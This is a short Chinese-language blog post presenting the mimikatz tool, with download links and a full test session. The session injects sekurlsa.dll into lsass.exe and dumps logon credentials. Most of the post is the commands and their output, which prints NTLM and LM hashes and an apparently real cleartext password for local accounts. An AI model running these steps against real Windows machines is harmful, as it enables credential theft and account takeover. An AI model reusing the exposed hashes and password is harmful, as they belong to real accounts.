輕量級偵錯程式mimikatz

神器下載地址:
http://blog.gentilkiwi.com/mimikatz

還有一篇用這個神器直接從 lsass.exe 裡獲取windows處於active狀態賬號明文密碼的文章
http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from-lsass

測試：
mimikatz 1.0 x86 (RC) /* Traitement du Kiwi (Sep 8 2012 15:18:27) */
// http://blog.gentilkiwi.com/mimikatz

[@more@]mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 1292
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
Gentil Kiwi

SekurLSA : librairie de manipulation des données de sécurités dans LSASS

mimikatz # @getLogonPasswords

Authentification Id : 0;660047
Package d'authentification : NTLM
Utilisateur principal : __vmware_user__
Domaine d'authentification : LYP-1284
msv1_0 : lm{ 00000000000000000000000000000000 }, ntlm{ 2454c4f215
a6da00ba5cbe2fa01cf929 }
wdigest : @GIsJ%z%qsHf3PHx#7c@BDCjiDc59_3*
kerberos : @GIsJ%z%qsHf3PHx#7c@BDCjiDc59_3*

Authentification Id : 0;162806
Package d'authentification : NTLM
Utilisateur principal : l1284
Domaine d'authentification : LYP-1284
msv1_0 : lm{ fcd7cd0b55c54cb4aad3b435b51404ee }, ntlm{ e3e2cb3618
bd1e24e4f4536949ccc268 }
wdigest : sxxxxxx
kerberos : sxxxxxx

Authentification Id : 0;161318
Package d'authentification : NTLM
Utilisateur principal : l1284
Domaine d'authentification : LYP-1284
msv1_0 : lm{ fcd7cd0b55c54cb4aad3b435b51404ee }, ntlm{ e3e2cb3618
bd1e24e4f4536949ccc268 }
wdigest : sxxxxxx
kerberos : sxxxxxx

Authentification Id : 0;997
Package d'authentification : Negotiate
Utilisateur principal : LOCAL SERVICE
Domaine d'authentification : NT AUTHORITY
msv1_0 : n.t. (LUID KO)
wdigest : n.t. (LUID KO)
kerberos :

Authentification Id : 0;996
Package d'authentification : Negotiate
Utilisateur principal : NETWORK SERVICE
Domaine d'authentification : NT AUTHORITY
msv1_0 : lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d1
6ae931b73c59d7e0c089c0 }
wdigest :
kerberos :

Authentification Id : 0;71103
Package d'authentification : NTLM
Utilisateur principal :
Domaine d'authentification :
msv1_0 : n.t. (LUID KO)
wdigest : n.t. (LUID KO)
kerberos : n.t. (LUID KO)

Authentification Id : 0;999
Package d'authentification : NTLM
Utilisateur principal : LYP-1284$
Domaine d'authentification : HSX
msv1_0 : n.t. (LUID KO)
wdigest : n.t. (LUID KO)
kerberos :

mimikatz #